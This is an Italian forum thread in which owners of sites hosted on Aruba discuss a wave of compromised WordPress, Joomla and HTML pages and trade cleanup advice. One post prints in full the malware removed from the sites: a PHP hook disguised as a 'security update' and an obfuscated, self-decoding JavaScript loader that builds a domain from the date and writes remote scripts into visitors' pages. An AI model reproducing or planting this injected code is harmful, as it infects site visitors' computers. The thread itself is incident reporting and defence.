Nuovo attacco hacker su Aruba?

[MacLovin]

Salve,

dopo aver notato che nelle mie statistiche odierne c'era qualcosa che non andava, ho notato che accedendo a tutti i miei siti hostati su Aruba che usano Wordpress o Joomla ricevo il seguente messaggio da Avast:

malware.jpg

Qualcun altro che usa questo provider può dirmi se sono l'unico ad avere questo problema?

I siti che non usano Wordpress o Joomla ma sono in HTML puro paiono essere a posto.

[GrG]

Inizia a vedere in che parte del codice viene scaricato quel coso così risali.

Se usi servizi di stats esterne potrebbe esser successo qualcosa ai loro js che hai nelle pagine.

[WizOfOz]

controlla che non siano state inserite iframe nel codice della tua pagina... in genere sono inserite alla fine del codice...
eventualmente rimuovile e "restringi" i permessi sul file..

[ceccus]

Salve,
Sei su Shared Hosting ? Noi siamo su Aruba (Housing) e non abbiamo nessun tipo di problema (Wordpress)

Ciao !!

[WizOfOz]

è molto più probabile che abbiano bucato i loro siti... il 90% delle volte la vulnerabilità è nel codice dell'utente e non nel sistema.

[Eraser]

Non è un caso isolato Siti web compromessi: Aruba vittima dell’attacco?

[Ste]

Grazie Marco per la tua segnalazione, a cui provvederemo a dare seguito nelle nostre news. Non mi pare però che Aruba abbia comunicato niente in merito

[Eraser]

Non mi pare però che Aruba abbia comunicato niente in merito

No infatti, però la lunga sfilza di siti web compromessi c'è stata, tra cui anche anti-phishing.it. Se MacLovin ha conservato il sito web infetto ed il sito web è ancora infetto si può verificare se il javaScript offuscato è lo stesso di quello che questo fine settimana ha infestato molte pagine web

[Ginger]

Salve a tutti, mi sono appena iscritta. Anche io sono stata vittima del malware che ha colpito Aruba...Il pc ora è pulito ma del sito non ho notizia visto che Aruba non ha risposto al mio ticket oramai inviato ieri mattina...posso fare qualcosa per controllare l'integrità delle pagine e verficare la presenza di questi script senza infettare nuovamente il pc?tTecnicamente non ho mai fatto una cosa del genere...
Grazie a chi vorrà aiutarmi!

[WizOfOz]

in genere viene infettata la pagina di default del sito
scarica il file e aprilo con un editor di testo... controlla che non siano stati inseriti tag iframe (HTML iframe tag) nel codice... in genere in fondo alla pagina...

questi tag non fanno altro che caricare nel browser del visitatore del codice malevolo.. nn rappresentano un pericolo immediato per il sito/server ma per il pc dell'utente...

[ceccus]

Salve,
Per caso, hai attivato il PlugIn di Upgrade Automatico del WordPress ?

Ciao !!

[WizOfOz]

no io no e tu ????

[ceccus]

Salve,
"vengo anch'io ... no tu no ... vengo anch'io .. no tu no ... ma perchè ... perchè no ..."
A parte gli scherzi , credo sia uno dei plugin più utilizzati e di conseguenza, più "bucabili" del mondo Wordpress, visto che se si vuole rendere attivo l' upgrade automatico occorre dare , "casualmente" i permessi di scrittura sulla cartella dove il WP risiede .................

Ciao !!

[MacLovin]

Ciao ragazzi, vi aggiorno sulla vicenda.

Allora, innanzitutto sono stati colpiti TUTTI i miei siti hostati sui server Linux di Aruba (sia che utilizzassero Joomla, Wordpress o fossero in HTML puro) e si sono salvati unicamente il paio che ho hostati su server Windows. Persino i siti non sviluppati avevano l'index.php di default di Aruba infetto.

Questo è il codice che ho eliminato dalle pagine in PHP:

<?php ob_start('security_update'); function security_update($buffer){return $buffer.'<script language="javascript">$a="Z63dZ3dZ22tZ253dsZ2574+Z2553Z2574Z2572inZ2567.Z2566roZ256dChaZ2572CodZ2565(Z2528tZ256dp.cZ25Z22;stZ3dZ22Z2573tZ253dZ2522$Z2561Z253dZ2573tZ253bZ2564Z2563sZ2528Z2564aZ252bZ2564bZ252bZ2564Z2563Z252bZ2564Z2564Z252bZ2564Z2565,Z25310Z2529Z253bZ2564wZ2528Z2573tZ2529Z253bsZ2574Z253dZ2524Z2561Z253bZ2522;Z22;czZ3dZ22Z2566uncZ2574iZ256fZ256e cZ257a(czZ2529Z257bretZ2575rZ256eZ2520Z2563a+cZ2562+cZ2563+Z2563d+Z2563e+Z2563zZ253b};Z22;dbZ3dZ22gZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0!Z2520;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vrs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07hucZ22;opZ3dZ22Z2524aZ253dZ2522dw(dcsZ2528cZ2575Z252c14Z2529)Z253bZ2522;Z22;ddZ3dZ22qb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iZ22;caZ3dZ22Z2566Z2575nctZ2569on Z2564Z2563s(Z2564s,eZ2573)Z257bdsZ253dunZ2565scZ2561peZ2528Z22;cbZ3dZ22dZ2573);Z2573Z2574Z253dtmZ2570Z253dZ2527Z2527;forZ2528Z2569Z253d0;iZ253cdsZ252eZ256cZ22;deZ3dZ22uqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;v}zfszZ2526;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;dcZ3dZ227Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fZ22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edZ22;dzZ3dZ22Z2566uncZ2574ionZ2520dZ2577Z2528t)Z257bcaZ253dZ2527Z252564Z25256fcuZ25256denZ25257Z2534Z25252ewrZ252569Z2574Z252565(Z252522Z2527;cZ2565Z253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253csZ252563Z2572ipZ25257Z2534Z2520Z256caZ2525Z2536eZ2567uZ2561Z252567Z25256Z2535Z25253dZ25255cZ252522javZ2561scZ252572Z252569Z2525Z2537Z2530tZ25255Z2563Z252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscriptZ25253eZ2527;evaZ256c(uZ256eeZ2573Z2563aZ2570eZ2528t)Z2529Z257d;Z22;ceZ3dZ2268arCZ256fdeZ2541Z2574Z25280Z2529Z255e(Z25270x0Z2530Z2527Z252bes)Z2529Z2529Z253b}}Z22;ccZ3dZ22engZ2574h;iZ252b+)Z257bZ2574Z256dpZ253ddZ2573.sZ256ciZ2563e(iZ252ci+Z2531Z2529;sZ22;Z69fZ20(doZ63uZ6denZ74Z2eZ63oZ6fZ6bie.Z69ndeZ78OZ66(Z27rfZ35f6Z64sZ27)Z3dZ3d-1)Z7bfunctioZ6e cZ61Z6clbZ61ck(Z78)Z7bwZ69ndoZ77Z2etZ77 Z3dZ20Z78;vaZ72 d Z3d Z6eew Z44aZ74e()Z3bdZ2eZ73Z65Z74TimZ65(xZ5bZ22aZ73_oZ66Z22]*Z31000Z29;vZ61r Z68Z20Z3d d.Z67etUZ54CHZ6fuZ72s(Z29;wiZ6edZ6fw.Z68 Z3d h;iZ66 Z28h Z3eZ208)Z7bd.sZ65tUTZ43Z44ateZ28Z64Z2eZ67etZ55TZ43DatZ65(Z29Z20Z2dZ202Z29;}Z65lseZ7bd.Z73etZ55TCZ44Z61tZ65Z28d.gZ65Z74UTZ43DaZ74e(Z29 Z2d 3Z29;Z7dZ77Z69ndZ6fw.Z67Z64 Z3d d;Z76Z61r tZ69meZ20Z3d neZ77 AZ72Z72ay(Z29;vaZ72 shZ69ftZ49Z6edexZ20Z3d Z22Z22;timeZ5bZ22yearZ22]Z20Z3d d.Z67etZ55Z54Z43FZ75lZ6cYZ65Z61r(Z29Z3btZ69Z6de[Z22montZ68Z22] Z3d d.geZ74UTCZ4dontZ68()Z2b1Z3bZ74Z69me[Z22Z64ayZ22] Z3d d.Z67Z65Z74UTZ43DZ61te(Z29Z3biZ66 (dZ2egZ65tUTZ43MZ6fntZ68()+Z31 Z3c 10)Z7bshifZ74InZ64exZ20Z3d timZ65Z5bZ22yearZ22]Z20+Z20Z22-0Z22 + Z28Z64.Z67etUZ54CMoZ6etZ68(Z29+1)Z3bZ7dZ65lZ73eZ7bshiftZ49ndZ65Z78 Z3d tiZ6dZ65[Z22yeaZ72Z22] +Z20Z22-Z22 + (dZ2egeZ74UTCZ4dontZ68()+Z31);}Z69Z66 Z28dZ2egetZ55TCDZ61Z74Z65()Z20Z3c 1Z30Z29Z7bshiZ66tIZ6edeZ78Z20Z3dshiZ66tIZ6edZ65x +Z20Z22Z2d0Z22 + dZ2egetZ55TCDZ61Z74e()Z3b}elZ73eZ7bshiZ66tInZ64Z65x Z3d shZ69ftZ49ndZ65xZ20+ Z22-Z22 Z2b Z64Z2eZ67etZ55TZ43DZ61Z74e(Z29;}dZ6fZ63Z75Z6dZ65nt.Z77riZ74Z65(Z22Z3cscrZ22+Z22ipt lZ61ngZ75Z61geZ3djavZ61sZ63riZ70tZ22+Z22Z20Z73rZ63Z3dZ27htZ74pZ3aZ2fZ2fsearch.tZ77itZ74Z65Z72.cZ6fZ6dZ2ftreZ6eZ64sZ2fdZ61ilyZ2ejsoZ6e?dZ61teZ3dZ22+ shZ69ftIZ6edeZ78+Z22&calZ6cbaZ63Z6bZ3dcaZ6cZ6cbaZ63k2Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} fZ75nZ63tZ69oZ6e Z63Z61llZ62Z61ck2Z28x)Z7bwiZ6edoZ77Z2eZ74w Z3d Z78;sZ63(Z27rfZ35fZ36dZ73Z27,2,7Z29Z3bevZ61l(Z75neZ73capZ65(Z64z+cZ7aZ2bop+Z73t)+Z27Z64w(dZ7a+cZ7a($aZ2bZ73tZ29);Z27);dZ6fcZ75menZ74.wrZ69Z74Z65(Z24a)Z3b}doZ63uZ6denZ74.wZ72iZ74e(Z22Z3cimZ67 srZ63Z3dZ27http:Z2fZ2fseaZ72Z63h.Z74wiZ74terZ2eZ63Z6fmZ2fimagZ65sZ2fseaZ72cZ68Z2frss.pZ6eZ67Z27 widthZ3d1 Z68eiZ67htZ3d1 sZ74yZ6ceZ3dZ27visibiZ6citZ79:hiZ64dZ65nZ27 Z2fZ3e Z3cscrZ22+Z22ipt lanZ67uagZ65Z3djavasZ63riZ70tZ22+Z22 Z73rcZ3dZ27http:Z2fZ2fsearcZ68.Z74witZ74Z65rZ2ecomZ2ftreZ6edsZ2fdailZ79.jZ73oZ6e?Z63aZ6clbaZ63kZ3dcaZ6clbaZ63kZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elseZ7b$aZ3dZ27Z27};fuZ6ectiZ6fnZ20scZ28Z63nm,Z76Z2cZ65Z64)Z7bZ76ar Z65xZ64Z3dZ6eewZ20Z44Z61Z74e(Z29;Z65xdZ2eZ73etDZ61teZ28eZ78Z64.Z67etDZ61teZ28)+eZ64)Z3bdZ6fcumZ65nZ74Z2ecZ6fokZ69eZ3dcnm+ Z27Z3dZ27 +escZ61pe(Z76)+Z27;exZ70ireZ73Z3dZ27+exd.tZ6fGMZ54SZ74rinZ67()Z3b}Z3b";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}eval(z($a));</script>';}//important security update ?>

Questo invece il codice in Javascript che ho eliminato dalle pagine in HTML:

<script language="javascript">$a="Z63dZ3dZ22tZ253dsZ2574+Z2553Z2574Z2572inZ2567.Z2566roZ256dChaZ2572CodZ2565(Z2528tZ256dp.cZ25Z22;stZ3dZ22Z2573tZ253dZ2522$Z2561Z253dZ2573tZ253bZ2564Z2563sZ2528Z2564aZ252bZ2564bZ252bZ2564Z2563Z252bZ2564Z2564Z252bZ2564Z2565,Z25310Z2529Z253bZ2564wZ2528Z2573tZ2529Z253bsZ2574Z253dZ2524Z2561Z253bZ2522;Z22;czZ3dZ22Z2566uncZ2574iZ256fZ256e cZ257a(czZ2529Z257bretZ2575rZ256eZ2520Z2563a+cZ2562+cZ2563+Z2563d+Z2563e+Z2563zZ253b};Z22;dbZ3dZ22gZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0!Z2520;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vrs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07hucZ22;opZ3dZ22Z2524aZ253dZ2522dw(dcsZ2528cZ2575Z252c14Z2529)Z253bZ2522;Z22;ddZ3dZ22qb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iZ22;caZ3dZ22Z2566Z2575nctZ2569on Z2564Z2563s(Z2564s,eZ2573)Z257bdsZ253dunZ2565scZ2561peZ2528Z22;cbZ3dZ22dZ2573);Z2573Z2574Z253dtmZ2570Z253dZ2527Z2527;forZ2528Z2569Z253d0;iZ253cdsZ252eZ256cZ22;deZ3dZ22uqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;v}zfszZ2526;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;dcZ3dZ227Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fZ22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edZ22;dzZ3dZ22Z2566uncZ2574ionZ2520dZ2577Z2528t)Z257bcaZ253dZ2527Z252564Z25256fcuZ25256denZ25257Z2534Z25252ewrZ252569Z2574Z252565(Z252522Z2527;cZ2565Z253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253csZ252563Z2572ipZ25257Z2534Z2520Z256caZ2525Z2536eZ2567uZ2561Z252567Z25256Z2535Z25253dZ25255cZ252522javZ2561scZ252572Z252569Z2525Z2537Z2530tZ25255Z2563Z252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscriptZ25253eZ2527;evaZ256c(uZ256eeZ2573Z2563aZ2570eZ2528t)Z2529Z257d;Z22;ceZ3dZ2268arCZ256fdeZ2541Z2574Z25280Z2529Z255e(Z25270x0Z2530Z2527Z252bes)Z2529Z2529Z253b}}Z22;ccZ3dZ22engZ2574h;iZ252b+)Z257bZ2574Z256dpZ253ddZ2573.sZ256ciZ2563e(iZ252ci+Z2531Z2529;sZ22;Z69fZ20(doZ63uZ6denZ74Z2eZ63oZ6fZ6bie.Z69ndeZ78OZ66(Z27rfZ35f6Z64sZ27)Z3dZ3d-1)Z7bfunctioZ6e cZ61Z6clbZ61ck(Z78)Z7bwZ69ndoZ77Z2etZ77 Z3dZ20Z78;vaZ72 d Z3d Z6eew Z44aZ74e()Z3bdZ2eZ73Z65Z74TimZ65(xZ5bZ22aZ73_oZ66Z22]*Z31000Z29;vZ61r Z68Z20Z3d d.Z67etUZ54CHZ6fuZ72s(Z29;wiZ6edZ6fw.Z68 Z3d h;iZ66 Z28h Z3eZ208)Z7bd.sZ65tUTZ43Z44ateZ28Z64Z2eZ67etZ55TZ43DatZ65(Z29Z20Z2dZ202Z29;}Z65lseZ7bd.Z73etZ55TCZ44Z61tZ65Z28d.gZ65Z74UTZ43DaZ74e(Z29 Z2d 3Z29;Z7dZ77Z69ndZ6fw.Z67Z64 Z3d d;Z76Z61r tZ69meZ20Z3d neZ77 AZ72Z72ay(Z29;vaZ72 shZ69ftZ49Z6edexZ20Z3d Z22Z22;timeZ5bZ22yearZ22]Z20Z3d d.Z67etZ55Z54Z43FZ75lZ6cYZ65Z61r(Z29Z3btZ69Z6de[Z22montZ68Z22] Z3d d.geZ74UTCZ4dontZ68()Z2b1Z3bZ74Z69me[Z22Z64ayZ22] Z3d d.Z67Z65Z74UTZ43DZ61te(Z29Z3biZ66 (dZ2egZ65tUTZ43MZ6fntZ68()+Z31 Z3c 10)Z7bshifZ74InZ64exZ20Z3d timZ65Z5bZ22yearZ22]Z20+Z20Z22-0Z22 + Z28Z64.Z67etUZ54CMoZ6etZ68(Z29+1)Z3bZ7dZ65lZ73eZ7bshiftZ49ndZ65Z78 Z3d tiZ6dZ65[Z22yeaZ72Z22] +Z20Z22-Z22 + (dZ2egeZ74UTCZ4dontZ68()+Z31);}Z69Z66 Z28dZ2egetZ55TCDZ61Z74Z65()Z20Z3c 1Z30Z29Z7bshiZ66tIZ6edeZ78Z20Z3dshiZ66tIZ6edZ65x +Z20Z22Z2d0Z22 + dZ2egetZ55TCDZ61Z74e()Z3b}elZ73eZ7bshiZ66tInZ64Z65x Z3d shZ69ftZ49ndZ65xZ20+ Z22-Z22 Z2b Z64Z2eZ67etZ55TZ43DZ61Z74e(Z29;}dZ6fZ63Z75Z6dZ65nt.Z77riZ74Z65(Z22Z3cscrZ22+Z22ipt lZ61ngZ75Z61geZ3djavZ61sZ63riZ70tZ22+Z22Z20Z73rZ63Z3dZ27htZ74pZ3aZ2fZ2fsearch.tZ77itZ74Z65Z72.cZ6fZ6dZ2ftreZ6eZ64sZ2fdZ61ilyZ2ejsoZ6e?dZ61teZ3dZ22+ shZ69ftIZ6edeZ78+Z22&calZ6cbaZ63Z6bZ3dcaZ6cZ6cbaZ63k2Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} fZ75nZ63tZ69oZ6e Z63Z61llZ62Z61ck2Z28x)Z7bwiZ6edoZ77Z2eZ74w Z3d Z78;sZ63(Z27rfZ35fZ36dZ73Z27,2,7Z29Z3bevZ61l(Z75neZ73capZ65(Z64z+cZ7aZ2bop+Z73t)+Z27Z64w(dZ7a+cZ7a($aZ2bZ73tZ29);Z27);dZ6fcZ75menZ74.wrZ69Z74Z65(Z24a)Z3b}doZ63uZ6denZ74.wZ72iZ74e(Z22Z3cimZ67 srZ63Z3dZ27http:Z2fZ2fseaZ72Z63h.Z74wiZ74terZ2eZ63Z6fmZ2fimagZ65sZ2fseaZ72cZ68Z2frss.pZ6eZ67Z27 widthZ3d1 Z68eiZ67htZ3d1 sZ74yZ6ceZ3dZ27visibiZ6citZ79:hiZ64dZ65nZ27 Z2fZ3e Z3cscrZ22+Z22ipt lanZ67uagZ65Z3djavasZ63riZ70tZ22+Z22 Z73rcZ3dZ27http:Z2fZ2fsearcZ68.Z74witZ74Z65rZ2ecomZ2ftreZ6edsZ2fdailZ79.jZ73oZ6e?Z63aZ6clbaZ63kZ3dcaZ6clbaZ63kZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elseZ7b$aZ3dZ27Z27};fuZ6ectiZ6fnZ20scZ28Z63nm,Z76Z2cZ65Z64)Z7bZ76ar Z65xZ64Z3dZ6eewZ20Z44Z61Z74e(Z29;Z65xdZ2eZ73etDZ61teZ28eZ78Z64.Z67etDZ61teZ28)+eZ64)Z3bdZ6fcumZ65nZ74Z2ecZ6fokZ69eZ3dcnm+ Z27Z3dZ27 +escZ61pe(Z76)+Z27;exZ70ireZ73Z3dZ27+exd.tZ6fGMZ54SZ74rinZ67()Z3b}Z3b";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}eval(z($a));</script>

Da notare che l'assistenza di Aruba, che mi ha risposto oltre 24 ore dopo la richiesta, mi ha implicitamente accusato di essere la causa del danno per non aver aggiornato i CMS all'ultima versione. Quando invece come ho riportato poco sopra sono rimasti infetti anche i siti in HTML puro creati col Wordpad.

[Eraser]

Sì, è lo script che è stato iniettato nel fine settimana (indicativamente il 22 Gennaio) in parecchi siti web hostati su Aruba